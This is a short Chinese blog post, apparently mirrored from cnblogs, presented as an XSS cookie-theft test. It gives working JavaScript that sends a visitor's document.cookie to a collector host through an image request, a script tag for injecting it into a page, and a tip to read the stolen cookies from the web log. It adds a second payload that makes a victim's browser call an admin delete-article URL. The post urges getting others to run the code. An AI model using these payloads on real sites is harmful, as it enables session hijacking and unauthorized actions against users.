zoukankan      html  css  js  c++  java
  • xss窃取cookie测试

    在evil.js文件中写如下代码,存储在www.test.com根目录下

    var img=document.createElement("img");
    img.src="http://www.test.com/log?"+escape(document.cookie);
    document.body.appendChild(img);
    

     然后在测试页,想办法让别人运行这段代码

    <script src="http://www.test.com/evil.js"></script>


    然后在web日志中可查看窃取的cookie信息

    如果,想让某人删除某篇文章,那么只需要让某人执行

    var img=document.createElement("img");
    img.src="http://www.text.com/max/admin/admin_news.asp?action=del&id=8";(找到删除文章的url替换之)
    document.body.appendChild(img);
    
  • 相关阅读:
    os模块
    函数练习
    集合 去重
    作业二:购物车程序
    作业一: 三级菜单
    字典练习
    字典
    切片
    冒泡练习
    判断整型数据奇偶数
  • 原文地址:https://www.cnblogs.com/shanmao/p/2776652.html
Copyright © 2011-2022 走看看